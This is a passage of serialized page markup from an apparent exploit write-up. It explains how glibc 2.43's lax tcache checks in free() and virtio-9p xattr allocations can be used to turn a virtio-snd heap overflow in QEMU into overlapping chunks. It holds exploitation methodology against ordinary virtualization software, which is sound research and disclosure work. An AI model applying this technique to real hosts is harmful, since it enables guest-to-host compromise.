2.43:",{"type":23,"tag":494,"props":125949,"children":125951},{"code":125950,"language":2124,"meta":7,"className":15493,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[125952],{"type":23,"tag":56,"props":125953,"children":125954},{"__ignoreMap":7},[125955,125963,125990,125997,126004,126011,126030,126037,126057,126064,126092,126116,126123,126136,126178,126185,126193,126200,126217],{"type":23,"tag":504,"props":125956,"children":125957},{"class":506,"line":507},[125958],{"type":23,"tag":504,"props":125959,"children":125960},{"style":511},[125961],{"type":28,"value":125962},"void\n",{"type":23,"tag":504,"props":125964,"children":125965},{"class":506,"line":540},[125966,125970,125974,125978,125982,125986],{"type":23,"tag":504,"props":125967,"children":125968},{"style":517},[125969],{"type":28,"value":125228},{"type":23,"tag":504,"props":125971,"children":125972},{"style":523},[125973],{"type":28,"value":801},{"type":23,"tag":504,"props":125975,"children":125976},{"style":511},[125977],{"type":28,"value":50605},{"type":23,"tag":504,"props":125979,"children":125980},{"style":598},[125981],{"type":28,"value":8797},{"type":23,"tag":504,"props":125983,"children":125984},{"style":529},[125985],{"type":28,"value":39638},{"type":23,"tag":504,"props":125987,"children":125988},{"style":523},[125989],{"type":28,"value":1192},{"type":23,"tag":504,"props":125991,"children":125992},{"class":506,"line":555},[125993],{"type":23,"tag":504,"props":125994,"children":125995},{"style":523},[125996],{"type":28,"value":9862},{"type":23,"tag":504,"props":125998,"children":125999},{"class":506,"line":633},[126000],{"type":23,"tag":504,"props":126001,"children":126002},{"style":523},[126003],{"type":28,"value":125271},{"type":23,"tag":504,"props":126005,"children":126006},{"class":506,"line":687},[126007],{"type":23,"tag":504,"props":126008,"children":126009},{"emptyLinePlaceholder":16},[126010],{"type":28,"value":1038},{"type":23,"tag":504,"props":126012,"children":126013},{"class":506,"line":736},[126014,126018,126022,126026],{"type":23,"tag":504,"props":126015,"children":126016},{"style":523},[126017],{"type":28,"value":125286},{"type":23,"tag":504,"props":126019,"children":126020},{"style":598},[126021],{"type":28,"value":601},{"type":23,"tag":504,"props":126023,"children":126024},{"style":517},[126025],{"type":28,"value":125295},{"type":23,"tag":504,"props":126027,"children":126028},{"style":523},[126029],{"type":28,"value":125300},{"type":23,"tag":504,"props":126031,"children":126032},{"class":506,"line":785},[126033],{"type":23,"tag":504,"props":126034,"children":126035},{"emptyLinePlaceholder":16},[126036],{"type":28,"value":1038},{"type":23,"tag":504,"props":126038,"children":126039},{"class":506,"line":813},[126040,126045,126049,126053],{"type":23,"tag":504,"props":126041,"children":126042},{"style":523},[126043],{"type":28,"value":126044},"  INTERNAL_SIZE_T size ",{"type":23,"tag":504,"props":126046,"children":126047},{"style":598},[126048],{"type":28,"value":601},{"type":23,"tag":504,"props":126050,"children":126051},{"style":517},[126052],{"type":28,"value":125622},{"type":23,"tag":504,"props":126054,"children":126055},{"style":523},[126056],{"type":28,"value":125341},{"type":23,"tag":504,"props":126058,"children":126059},{"class":506,"line":851},[126060],{"type":23,"tag":504,"props":126061,"children":126062},{"emptyLinePlaceholder":16},[126063],{"type":28,"value":1038},{"type":23,"tag":504,"props":126065,"children":126066},{"class":506,"line":869},[126067,126071,126075,126079,126083,126087],{"type":23,"tag":504,"props":126068,"children":126069},{"style":544},[126070],{"type":28,"value":30372},{"type":23,"tag":504,"props":126072,"children":126073},{"style":523},[126074],{"type":28,"value":801},{"type":23,"tag":504,"props":126076,"children":126077},{"style":517},[126078],{"type":28,"value":125817},{"type":23,"tag":504,"props":126080,"children":126081},{"style":523},[126082],{"type":28,"value":801},{"type":23,"tag":504,"props":126084,"children":126085},{"style":517},[126086],{"type":28,"value":125751},{"type":23,"tag":504,"props":126088,"children":126089},{"style":523},[126090],{"type":28,"value":126091}," (p)))\n",{"type":23,"tag":504,"props":126093,"children":126094},{"class":506,"line":878},[126095,126099,126104,126108,126112],{"type":23,"tag":504,"props":126096,"children":126097},{"style":544},[126098],{"type":28,"value":15968},{"type":23,"tag":504,"props":126100,"children":126101},{"style":517},[126102],{"type":28,"value":126103}," malloc_printerr_tail",{"type":23,"tag":504,"props":126105,"children":126106},{"style":523},[126107],{"type":28,"value":801},{"type":23,"tag":504,"props":126109,"children":126110},{"style":622},[126111],{"type":28,"value":125781},{"type":23,"tag":504,"props":126113,"children":126114},{"style":523},[126115],{"type":28,"value":630},{"type":23,"tag":504,"props":126117,"children":126118},{"class":506,"line":1221},[126119],{"type":23,"tag":504,"props":126120,"children":126121},{"emptyLinePlaceholder":16},[126122],{"type":28,"value":1038},{"type":23,"tag":504,"props":126124,"children":126125},{"class":506,"line":1276},[126126,126131],{"type":23,"tag":504,"props":126127,"children":126128},{"style":544},[126129],{"type":28,"value":126130},"#if",{"type":23,"tag":504,"props":126132,"children":126133},{"style":517},[126134],{"type":28,"value":126135}," USE_TCACHE\n",{"type":23,"tag":504,"props":126137,"children":126138},{"class":506,"line":1285},[126139,126143,126147,126152,126156,126160,126165,126169,126174],{"type":23,"tag":504,"props":126140,"children":126141},{"style":544},[126142],{"type":28,"value":30372},{"type":23,"tag":504,"props":126144,"children":126145},{"style":523},[126146],{"type":28,"value":801},{"type":23,"tag":504,"props":126148,"children":126149},{"style":517},[126150],{"type":28,"value":126151},"__glibc_likely",{"type":23,"tag":504,"props":126153,"children":126154},{"style":523},[126155],{"type":28,"value":125822},{"type":23,"tag":504,"props":126157,"children":126158},{"style":598},[126159],{"type":28,"value":4789},{"type":23,"tag":504,"props":126161,"children":126162},{"style":529},[126163],{"type":28,"value":126164}," mp_",{"type":23,"tag":504,"props":126166,"children":126167},{"style":523},[126168],{"type":28,"value":320},{"type":23,"tag":504,"props":126170,"children":126171},{"style":529},[126172],{"type":28,"value":126173},"tcache_max_bytes",{"type":23,"tag":504,"props":126175,"children":126176},{"style":523},[126177],{"type":28,"value":18694},{"type":23,"tag":504,"props":126179,"children":126180},{"class":506,"line":1294},[126181],{"type":23,"tag":504,"props":126182,"children":126183},{"style":523},[126184],{"type":28,"value":28168},{"type":23,"tag":504,"props":126186,"children":126187},{"class":506,"line":1302},[126188],{"type":23,"tag":504,"props":126189,"children":126190},{"style":523},[126191],{"type":28,"value":126192},"      [...]\n",{"type":23,"tag":504,"props":126194,"children":126195},{"class":506,"line":1311},[126196],{"type":23,"tag":504,"props":126197,"children":126198},{"emptyLinePlaceholder":16},[126199],{"type":28,"value":1038},{"type":23,"tag":504,"props":126201,"children":126202},{"class":506,"line":1334},[126203,126207,126212],{"type":23,"tag":504,"props":126204,"children":126205},{"style":544},[126206],{"type":28,"value":38332},{"type":23,"tag":504,"props":126208,"children":126209},{"style":517},[126210],{"type":28,"value":126211}," tcache_put",{"type":23,"tag":504,"props":126213,"children":126214},{"style":523},[126215],{"type":28,"value":126216}," (p, tc_idx);\n",{"type":23,"tag":504,"props":126218,"children":126219},{"class":506,"line":1370},[126220],{"type":23,"tag":504,"props":126221,"children":126222},{"style":523},[126223],{"type":28,"value":875},{"type":23,"tag":24,"props":126225,"children":126226},{},[126227,126229,126234],{"type":28,"value":126228},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":56,"props":126230,"children":126232},{"className":126231},[],[126233],{"type":28,"value":123011},{"type":28,"value":126235}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":126237,"children":126238},{},[126239,126241,126247,126248,126253],{"type":28,"value":126240},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":56,"props":126242,"children":126244},{"className":126243},[],[126245],{"type":28,"value":126246},"check_inuse_chunk",{"type":28,"value":801},{"type":23,"tag":56,"props":126249,"children":126251},{"className":126250},[],[126252],{"type":28,"value":123139},{"type":28,"value":22925},{"type":23,"tag":494,"props":126255,"children":126257},{"code":126256,"language":2124,"meta":7,"className":15493,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[126258],{"type":23,"tag":56,"props":126259,"children":126260},{"__ignoreMap":7},[126261,126268,126295,126302,126309,126316,126335,126342,126361,126368,126395,126418,126425,126451,126458,126469,126526],{"type":23,"tag":504,"props":126262,"children":126263},{"class":506,"line":507},[126264],{"type":23,"tag":504,"props":126265,"children":126266},{"style":511},[126267],{"type":28,"value":125962},{"type":23,"tag":504,"props":126269,"children":126270},{"class":506,"line":540},[126271,126275,126279,126283,126287,126291],{"type":23,"tag":504,"props":126272,"children":126273},{"style":517},[126274],{"type":28,"value":125228},{"type":23,"tag":504,"props":126276,"children":126277},{"style":523},[126278],{"type":28,"value":801},{"type":23,"tag":504,"props":126280,"children":126281},{"style":511},[126282],{"type":28,"value":50605},{"type":23,"tag":504,"props":126284,"children":126285},{"style":598},[126286],{"type":28,"value":8797},{"type":23,"tag":504,"props":126288,"children":126289},{"style":529},[126290],{"type":28,"value":39638},{"type":23,"tag":504,"props":126292,"children":126293},{"style":523},[126294],{"type":28,"value":1192},{"type":23,"tag":504,"props":126296,"children":126297},{"class":506,"line":555},[126298],{"type":23,"tag":504,"props":126299,"children":126300},{"style":523},[126301],{"type":28,"value":9862},{"type":23,"tag":504,"props":126303,"children":126304},{"class":506,"line":633},[126305],{"type":23,"tag":504,"props":126306,"children":126307},{"style":523},[126308],{"type":28,"value":125271},{"type":23,"tag":504,"props":126310,"children":126311},{"class":506,"line":687},[126312],{"type":23,"tag":504,"props":126313,"children":126314},{"emptyLinePlaceholder":16},[126315],{"type":28,"value":1038},{"type":23,"tag":504,"props":126317,"children":126318},{"class":506,"line":736},[126319,126323,126327,126331],{"type":23,"tag":504,"props":126320,"children":126321},{"style":523},[126322],{"type":28,"value":125286},{"type":23,"tag":504,"props":126324,"children":126325},{"style":598},[126326],{"type":28,"value":601},{"type":23,"tag":504,"props":126328,"children":126329},{"style":517},[126330],{"type":28,"value":125295},{"type":23,"tag":504,"props":126332,"children":126333},{"style":523},[126334],{"type":28,"value":125300},{"type":23,"tag":504,"props":126336,"children":126337},{"class":506,"line":785},[126338],{"type":23,"tag":504,"props":126339,"children":126340},{"emptyLinePlaceholder":16},[126341],{"type":28,"value":1038},{"type":23,"tag":504,"props":126343,"children":126344},{"class":506,"line":813},[126345,126349,126353,126357],{"type":23,"tag":504,"props":126346,"children":126347},{"style":523},[126348],{"type":28,"value":126044},{"type":23,"tag":504,"props":126350,"children":126351},{"style":598},[126352],{"type":28,"value":601},{"type":23,"tag":504,"props":126354,"children":126355},{"style":517},[126356],{"type":28,"value":125622},{"type":23,"tag":504,"props":126358,"children":126359},{"style":523},[126360],{"type":28,"value":125341},{"type":23,"tag":504,"props":126362,"children":126363},{"class":506,"line":851},[126364],{"type":23,"tag":504,"props":126365,"children":126366},{"emptyLinePlaceholder":16},[126367],{"type":28,"value":1038},{"type":23,"tag":504,"props":126369,"children":126370},{"class":506,"line":869},[126371,126375,126379,126383,126387,126391],{"type":23,"tag":504,"props":126372,"children":126373},{"style":544},[126374],{"type":28,"value":30372},{"type":23,"tag":504,"props":126376,"children":126377},{"style":523},[126378],{"type":28,"value":801},{"type":23,"tag":504,"props":126380,"children":126381},{"style":517},[126382],{"type":28,"value":125817},{"type":23,"tag":504,"props":126384,"children":126385},{"style":523},[126386],{"type":28,"value":801},{"type":23,"tag":504,"props":126388,"children":126389},{"style":517},[126390],{"type":28,"value":125751},{"type":23,"tag":504,"props":126392,"children":126393},{"style":523},[126394],{"type":28,"value":126091},{"type":23,"tag":504,"props":126396,"children":126397},{"class":506,"line":878},[126398,126402,126406,126410,126414],{"type":23,"tag":504,"props":126399,"children":126400},{"style":544},[126401],{"type":28,"value":15968},{"type":23,"tag":504,"props":126403,"children":126404},{"style":517},[126405],{"type":28,"value":126103},{"type":23,"tag":504,"props":126407,"children":126408},{"style":523},[126409],{"type":28,"value":801},{"type":23,"tag":504,"props":126411,"children":126412},{"style":622},[126413],{"type":28,"value":125781},{"type":23,"tag":504,"props":126415,"children":126416},{"style":523},[126417],{"type":28,"value":630},{"type":23,"tag":504,"props":126419,"children":126420},{"class":506,"line":1221},[126421],{"type":23,"tag":504,"props":126422,"children":126423},{"emptyLinePlaceholder":16},[126424],{"type":28,"value":1038},{"type":23,"tag":504,"props":126426,"children":126427},{"class":506,"line":1276},[126428,126432,126436,126441,126446],{"type":23,"tag":504,"props":126429,"children":126430},{"style":517},[126431],{"type":28,"value":125884},{"type":23,"tag":504,"props":126433,"children":126434},{"style":523},[126435],{"type":28,"value":801},{"type":23,"tag":504,"props":126437,"children":126438},{"style":517},[126439],{"type":28,"value":126440},"arena_for_chunk",{"type":23,"tag":504,"props":126442,"children":126443},{"style":523},[126444],{"type":28,"value":126445}," (p), p);",{"type":23,"tag":504,"props":126447,"children":126448},{"style":1106},[126449],{"type":28,"value":126450},"             // [1]\n",{"type":23,"tag":504,"props":126452,"children":126453},{"class":506,"line":1285},[126454],{"type":23,"tag":504,"props":126455,"children":126456},{"emptyLinePlaceholder":16},[126457],{"type":28,"value":1038},{"type":23,"tag":504,"props":126459,"children":126460},{"class":506,"line":1294},[126461,126465],{"type":23,"tag":504,"props":126462,"children":126463},{"style":544},[126464],{"type":28,"value":126130},{"type":23,"tag":504,"props":126466,"children":126467},{"style":517},[126468],{"type":28,"value":126135},{"type":23,"tag":504,"props":126470,"children":126471},{"class":506,"line":1302},[126472,126476,126480,126484,126488,126492,126496,126500,126504,126508,126513,126517,126522],{"type":23,"tag":504,"props":126473,"children":126474},{"style":544},[126475],{"type":28,"value":30372},{"type":23,"tag":504,"props":126477,"children":126478},{"style":523},[126479],{"type":28,"value":801},{"type":23,"tag":504,"props":126481,"children":126482},{"style":517},[126483],{"type":28,"value":126151},{"type":23,"tag":504,"props":126485,"children":126486},{"style":523},[126487],{"type":28,"value":125822},{"type":23,"tag":504,"props":126489,"children":126490},{"style":598},[126491],{"type":28,"value":4789},{"type":23,"tag":504,"props":126493,"children":126494},{"style":529},[126495],{"type":28,"value":126164},{"type":23,"tag":504,"props":126497,"children":126498},{"style":523},[126499],{"type":28,"value":320},{"type":23,"tag":504,"props":126501,"children":126502},{"style":529},[126503],{"type":28,"value":126173},{"type":23,"tag":504,"props":126505,"children":126506},{"style":598},[126507],{"type":28,"value":13166},{"type":23,"tag":504,"props":126509,"children":126510},{"style":523},[126511],{"type":28,"value":126512}," tcache ",{"type":23,"tag":504,"props":126514,"children":126515},{"style":598},[126516],{"type":28,"value":14669},{"type":23,"tag":504,"props":126518,"children":126519},{"style":511},[126520],{"type":28,"value":126521}," NULL",{"type":23,"tag":504,"props":126523,"children":126524},{"style":523},[126525],{"type":28,"value":18694},{"type":23,"tag":504,"props":126527,"children":126528},{"class":506,"line":1311},[126529],{"type":23,"tag":504,"props":126530,"children":126531},{"style":523},[126532],{"type":28,"value":125904},{"type":23,"tag":24,"props":126534,"children":126535},{},[126536,126538,126543],{"type":28,"value":126537},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":56,"props":126539,"children":126541},{"className":126540},[],[126542],{"type":28,"value":123011},{"type":28,"value":126544},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":17774,"props":126546,"children":126547},{},[],{"type":23,"tag":24,"props":126549,"children":126550},{},[126551,126553,126558,126560,126566,126568,126573,126575,126581],{"type":28,"value":126552},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":56,"props":126554,"children":126556},{"className":126555},[],[126557],{"type":28,"value":123011},{"type":28,"value":126559}," field was initially ",{"type":23,"tag":56,"props":126561,"children":126563},{"className":126562},[],[126564],{"type":28,"value":126565},"0x200",{"type":28,"value":126567},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":56,"props":126569,"children":126571},{"className":126570},[],[126572],{"type":28,"value":125188},{"type":28,"value":126574},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":56,"props":126576,"children":126578},{"className":126577},[],[126579],{"type":28,"value":126580},"[0x210, 0x2f0]",{"type":28,"value":126582},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":126584,"children":126585},{},[126586],{"type":28,"value":126587},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":82,"props":126589,"children":126591},{"id":126590},"heap-spraying",[126592],{"type":28,"value":126593},"Heap Spraying",{"type":23,"tag":24,"props":126595,"children":126596},{},[126597,126599,126604],{"type":28,"value":126598},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":56,"props":126600,"children":126602},{"className":126601},[],[126603],{"type":28,"value":126565},{"type":28,"value":126605},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":126607,"children":126608},{},[126609,126611,126616],{"type":28,"value":126610},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":56,"props":126612,"children":126614},{"className":126613},[],[126615],{"type":28,"value":123206},{"type":28,"value":126617}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":126619,"children":126620},{},[126621],{"type":28,"value":126622},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":17874,"props":126624,"children":126626},{"id":126625},"virtio-9p",[126627],{"type":28,"value":126625},{"type":23,"tag":24,"props":126629,"children":126630},{},[126631,126636],{"type":23,"tag":56,"props":126632,"children":126634},{"className":126633},[],[126635],{"type":28,"value":126625},{"type":28,"value":126637}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":126639,"children":126640},{},[126641,126643,126649,126651,126657,126658,126664,126666,126671],{"type":28,"value":126642},"Through a ",{"type":23,"tag":56,"props":126644,"children":126646},{"className":126645},[],[126647],{"type":28,"value":126648},"P9_TXATTRCREATE",{"type":28,"value":126650}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":56,"props":126652,"children":126654},{"className":126653},[],[126655],{"type":28,"value":126656},".name",{"type":28,"value":430},{"type":23,"tag":56,"props":126659,"children":126661},{"className":126660},[],[126662],{"type":28,"value":126663},".value",{"type":28,"value":126665}," fields, with the size of ",{"type":23,"tag":56,"props":126667,"children":126669},{"className":126668},[],[126670],{"type":28,"value":126663},{"type":28,"value":126672}," being directly controlled by the guest.",{"type":23,"tag":494,"props":126674,"children":126676},{"code":126675,"language":2124,"meta":7,"className":15493,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[126677],{"type":23,"tag":56,"props":126678,"children":126679},{"__ignoreMap":7},[126680,126722,126729,126753,126766,126777,126802,126810,126835,126852,126868,126894,126901,126922,126988,127012,127025,127032,127039,127046,127053,127073,127094,127105,127112,127119,127126,127133,127182,127238,127283],{"type":23,"tag":504,"props":126681,"children":126682},{"class":506,"line":507},[126683,126687,126691,126696,126701,126705,126709,126713,126718],{"type":23,"tag":504,"props":126684,"children":126685},{"style":511},[126686],{"type":28,"value":50023},{"type":23,"tag":504,"props":126688,"children":126689},{"style":511},[126690],{"type":28,"value":50028},{"type":23,"tag":504,"props":126692,"children":126693},{"style":523},[126694],{"type":28,"value":126695}," coroutine_fn ",{"type":23,"tag":504,"props":126697,"children":126698},{"style":517},[126699],{"type":28,"value":126700},"v9fs_xattrcreate",{"type":23,"tag":504,"props":126702,"children":126703},{"style":523},[126704],{"type":28,"value":526},{"type":23,"tag":504,"props":126706,"children":126707},{"style":511},[126708],{"type":28,"value":50605},{"type":23,"tag":504,"props":126710,"children":126711},{"style":598},[126712],{"type":28,"value":8797},{"type":23,"tag":504,"props":126714,"children":126715},{"style":529},[126716],{"type":28,"value":126717},"opaque",{"type":23,"tag":504,"props":126719,"children":126720},{"style":523},[126721],{"type":28,"value":1192},{"type":23,"tag":504,"props":126723,"children":126724},{"class":506,"line":540},[126725],{"type":23,"tag":504,"props":126726,"children":126727},{"style":523},[126728],{"type":28,"value":9862},{"type":23,"tag":504,"props":126730,"children":126731},{"class":506,"line":555},[126732,126736,126741,126745,126749],{"type":23,"tag":504,"props":126733,"children":126734},{"style":511},[126735],{"type":28,"value":18058},{"type":23,"tag":504,"props":126737,"children":126738},{"style":523},[126739],{"type":28,"value":126740}," flags, rflags ",{"type":23,"tag":504,"props":126742,"children":126743},{"style":598},[126744],{"type":28,"value":601},{"type":23,"tag":504,"props":126746,"children":126747},{"style":1440},[126748],{"type":28,"value":2023},{"type":23,"tag":504,"props":126750,"children":126751},{"style":523},[126752],{"type":28,"value":866},{"type":23,"tag":504,"props":126754,"children":126755},{"class":506,"line":633},[126756,126761],{"type":23,"tag":504,"props":126757,"children":126758},{"style":511},[126759],{"type":28,"value":126760},"    int32_t",{"type":23,"tag":504,"props":126762,"children":126763},{"style":523},[126764],{"type":28,"value":126765}," fid;\n",{"type":23,"tag":504,"props":126767,"children":126768},{"class":506,"line":687},[126769,126773],{"type":23,"tag":504,"props":126770,"children":126771},{"style":511},[126772],{"type":28,"value":54591},{"type":23,"tag":504,"props":126774,"children":126775},{"style":523},[126776],{"type":28,"value":123353},{"type":23,"tag":504,"props":126778,"children":126779},{"class":506,"line":736},[126780,126785,126790,126794,126798],{"type":23,"tag":504,"props":126781,"children":126782},{"style":511},[126783],{"type":28,"value":126784},"    ssize_t",{"type":23,"tag":504,"props":126786,"children":126787},{"style":523},[126788],{"type":28,"value":126789}," err ",{"type":23,"tag":504,"props":126791,"children":126792},{"style":598},[126793],{"type":28,"value":601},{"type":23,"tag":504,"props":126795,"children":126796},{"style":1440},[126797],{"type":28,"value":2023},{"type":23,"tag":504,"props":126799,"children":126800},{"style":523},[126801],{"type":28,"value":866},{"type":23,"tag":504,"props":126803,"children":126804},{"class":506,"line":785},[126805],{"type":23,"tag":504,"props":126806,"children":126807},{"style":523},[126808],{"type":28,"value":126809},"    V9fsString name;\n",{"type":23,"tag":504,"props":126811,"children":126812},{"class":506,"line":813},[126813,126817,126822,126826,126831],{"type":23,"tag":504,"props":126814,"children":126815},{"style":511},[126816],{"type":28,"value":15543},{"type":23,"tag":504,"props":126818,"children":126819},{"style":523},[126820],{"type":28,"value":126821}," offset ",{"type":23,"tag":504,"props":126823,"children":126824},{"style":598},[126825],{"type":28,"value":601},{"type":23,"tag":504,"props":126827,"children":126828},{"style":1440},[126829],{"type":28,"value":126830}," 7",{"type":23,"tag":504,"props":126832,"children":126833},{"style":523},[126834],{"type":28,"value":866},{"type":23,"tag":504,"props":126836,"children":126837},{"class":506,"line":851},[126838,126843,126847],{"type":23,"tag":504,"props":126839,"children":126840},{"style":523},[126841],{"type":28,"value":126842},"    V9fsFidState ",{"type":23,"tag":504,"props":126844,"children":126845},{"style":598},[126846],{"type":28,"value":3552},{"type":23,"tag":504,"props":126848,"children":126849},{"style":523},[126850],{"type":28,"value":126851},"file_fidp;\n",{"type":23,"tag":504,"props":126853,"children":126854},{"class":506,"line":869},[126855,126859,126863],{"type":23,"tag":504,"props":126856,"children":126857},{"style":523},[126858],{"type":28,"value":126842},{"type":23,"tag":504,"props":126860,"children":126861},{"style":598},[126862],{"type":28,"value":3552},{"type":23,"tag":504,"props":126864,"children":126865},{"style":523},[126866],{"type":28,"value":126867},"xattr_fidp;\n",{"type":23,"tag":504,"props":126869,"children":126870},{"class":506,"line":878},[126871,126876,126880,126885,126889],{"type":23,"tag":504,"props":126872,"children":126873},{"style":523},[126874],{"type":28,"value":126875},"    V9fsPDU ",{"type":23,"tag":504,"props":126877,"children":126878},{"style":598},[126879],{"type":28,"value":3552},{"type":23,"tag":504,"props":126881,"children":126882},{"style":523},[126883],{"type":28,"value":126884},"pdu ",{"type":23,"tag":504,"props":126886,"children":126887},{"style":598},[126888],{"type":28,"value":601},{"type":23,"tag":504,"props":126890,"children":126891},{"style":523},[126892],{"type":28,"value":126893}," opaque;\n",{"type":23,"tag":504,"props":126895,"children":126896},{"class":506,"line":1221},[126897],{"type":23,"tag":504,"props":126898,"children":126899},{"emptyLinePlaceholder":16},[126900],{"type":28,"value":1038},{"type":23,"tag":504,"props":126902,"children":126903},{"class":506,"line":1276},[126904,126909,126913,126917],{"type":23,"tag":504,"props":126905,"children":126906},{"style":517},[126907],{"type":28,"value":126908},"    v9fs_string_init",{"type":23,"tag":504,"props":126910,"children":126911},{"style":523},[126912],{"type":28,"value":526},{"type":23,"tag":504,"props":126914,"children":126915},{"style":598},[126916],{"type":28,"value":2086},{"type":23,"tag":504,"props":126918,"children":126919},{"style":523},[126920],{"type":28,"value":126921},"name);\n",{"type":23,"tag":504,"props":126923,"children":126924},{"class":506,"line":1285},[126925,126930,126934,126939,126944,126949,126953,126957,126962,126966,126971,126975,126979,126983],{"type":23,"tag":504,"props":126926,"children":126927},{"style":523},[126928],{"type":28,"value":126929},"    err ",{"type":23,"tag":504,"props":126931,"children":126932},{"style":598},[126933],{"type":28,"value":601},{"type":23,"tag":504,"props":126935,"children":126936},{"style":517},[126937],{"type":28,"value":126938}," pdu_unmarshal",{"type":23,"tag":504,"props":126940,"children":126941},{"style":523},[126942],{"type":28,"value":126943},"(pdu, offset, ",{"type":23,"tag":504,"props":126945,"children":126946},{"style":622},[126947],{"type":28,"value":126948},"\"dsqd\"",{"type":23,"tag":504,"props":126950,"children":126951},{"style":523},[126952],{"type":28,"value":576},{"type":23,"tag":504,"props":126954,"children":126955},{"style":598},[126956],{"type":28,"value":2086},{"type":23,"tag":504,"props":126958,"children":126959},{"style":523},[126960],{"type":28,"value":126961},"fid, ",{"type":23,"tag":504,"props":126963,"children":126964},{"style":598},[126965],{"type":28,"value":2086},{"type":23,"tag":504,"props":126967,"children":126968},{"style":523},[126969],{"type":28,"value":126970},"name, ",{"type":23,"tag":504,"props":126972,"children":126973},{"style":598},[126974],{"type":28,"value":2086},{"type":23,"tag":504,"props":126976,"children":126977},{"style":523},[126978],{"type":28,"value":125721},{"type":23,"tag":504,"props":126980,"children":126981},{"style":598},[126982],{"type":28,"value":2086},{"type":23,"tag":504,"props":126984,"children":126985},{"style":523},[126986],{"type":28,"value":126987},"flags);\n",{"type":23,"tag":504,"props":126989,"children":126990},{"class":506,"line":1294},[126991,126995,127000,127004,127008],{"type":23,"tag":504,"props":126992,"children":126993},{"style":544},[126994],{"type":28,"value":11261},{"type":23,"tag":504,"props":126996,"children":126997},{"style":523},[126998],{"type":28,"value":126999}," (err ",{"type":23,"tag":504,"props":127001,"children":127002},{"style":598},[127003],{"type":28,"value":4789},{"type":23,"tag":504,"props":127005,"children":127006},{"style":1440},[127007],{"type":28,"value":2023},{"type":23,"tag":504,"props":127009,"children":127010},{"style":523},[127011],{"type":28,"value":537},{"type":23,"tag":504,"props":127013,"children":127014},{"class":506,"line":1302},[127015,127020],{"type":23,"tag":504,"props":127016,"children":127017},{"style":544},[127018],{"type":28,"value":127019},"        goto",{"type":23,"tag":504,"props":127021,"children":127022},{"style":523},[127023],{"type":28,"value":127024}," out_nofid;\n",{"type":23,"tag":504,"props":127026,"children":127027},{"class":506,"line":1311},[127028],{"type":23,"tag":504,"props":127029,"children":127030},{"style":523},[127031],{"type":28,"value":875},{"type":23,"tag":504,"props":127033,"children":127034},{"class":506,"line":1334},[127035],{"type":23,"tag":504,"props":127036,"children":127037},{"emptyLinePlaceholder":16},[127038],{"type":28,"value":1038},{"type":23,"tag":504,"props":127040,"children":127041},{"class":506,"line":1370},[127042],{"type":23,"tag":504,"props":127043,"children":127044},{"style":523},[127045],{"type":28,"value":103552},{"type":23,"tag":504,"props":127047,"children":127048},{"class":506,"line":1384},[127049],{"type":23,"tag":504,"props":127050,"children":127051},{"emptyLinePlaceholder":16},[127052],{"type":28,"value":1038},{"type":23,"tag":504,"props":127054,"children":127055},{"class":506,"line":1392},[127056,127060,127064,127068],{"type":23,"tag":504,"props":127057,"children":127058},{"style":544},[127059],{"type":28,"value":11261},{"type":23,"tag":504,"props":127061,"children":127062},{"style":523},[127063],{"type":28,"value":125822},{"type":23,"tag":504,"props":127065,"children":127066},{"style":598},[127067],{"type":28,"value":9443},{"type":23,"tag":504,